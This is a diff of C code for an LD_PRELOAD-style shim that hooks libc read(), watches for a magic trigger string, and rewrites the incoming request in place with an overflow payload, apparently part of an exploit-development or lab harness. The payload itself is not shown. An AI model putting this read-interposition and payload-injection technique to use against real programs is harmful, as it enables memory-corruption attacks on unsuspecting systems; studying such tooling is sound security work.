|
10 | 10 | #include "payload.h" |
11 | 11 | #include "strnstr.h" |
12 | 12 |
|
13 | | -static const char s_magic[] = "xyzzx"; |
| 13 | +static const char s_basemagic[] = "xyzzy"; |
| 14 | +static const char s_fullmagic[] = "xyzzx"; |
14 | 15 | static const char s_makeload[] = "MAKELOAD"; |
15 | 16 | static const char s_dumpload[] = "DUMPLOAD"; |
16 | 17 | static const char s_overload[] = "OVERLOAD"; |
@@ -46,10 +47,14 @@ static ssize_t falseEcho(PayloadPtr plp, char *p, ssize_t np) { |
46 | 47 |
|
47 | 48 | // Make room for the payload (where the request used to be). |
48 | 49 | char *src = p + nc; |
49 | | - char *dst = p + nPayload64 - strlen(s_makeload) + strlen(s_overflow); |
| 50 | + char *dst = p + nPayload64 - strlen(s_fullmagic) + strlen(s_basemagic) - strlen(s_makeload) + strlen(s_overflow); |
50 | 51 | int delta = dst - src; |
51 | 52 | memmove(dst, src, np - nc); |
52 | 53 |
|
| 54 | + // Replace s_fullmagic with s_basemagic |
| 55 | + memcpy(p - strlen(s_makeload) - strlen(s_fullmagic), s_basemagic, strlen(s_basemagic)); |
| 56 | + p += strlen(s_basemagic) - strlen(s_fullmagic); |
| 57 | + |
53 | 58 | // Replace s_makeload with s_overflow |
54 | 59 | memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow)); |
55 | 60 | p += strlen(s_overflow) - strlen(s_makeload); |
@@ -87,10 +92,10 @@ ssize_t read(int fd, void *buf, size_t count) { |
87 | 92 | Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read"); |
88 | 93 | ssize_t result = libc_read(fd, buf, count); |
89 | 94 |
|
90 | | - char *p = (result < strlen(s_magic)) ? NULL : strnstr(buf, s_magic, result); |
| 95 | + char *p = (result < strlen(s_fullmagic)) ? NULL : strnstr(buf, s_fullmagic, result); |
91 | 96 |
|
92 | 97 | if (p) { |
93 | | - p += strlen(s_magic); |
| 98 | + p += strlen(s_fullmagic); |
94 | 99 |
|
95 | 100 | static BaseAddresses baseAddresses; |
96 | 101 | static Payload payload; |
|
0 commit comments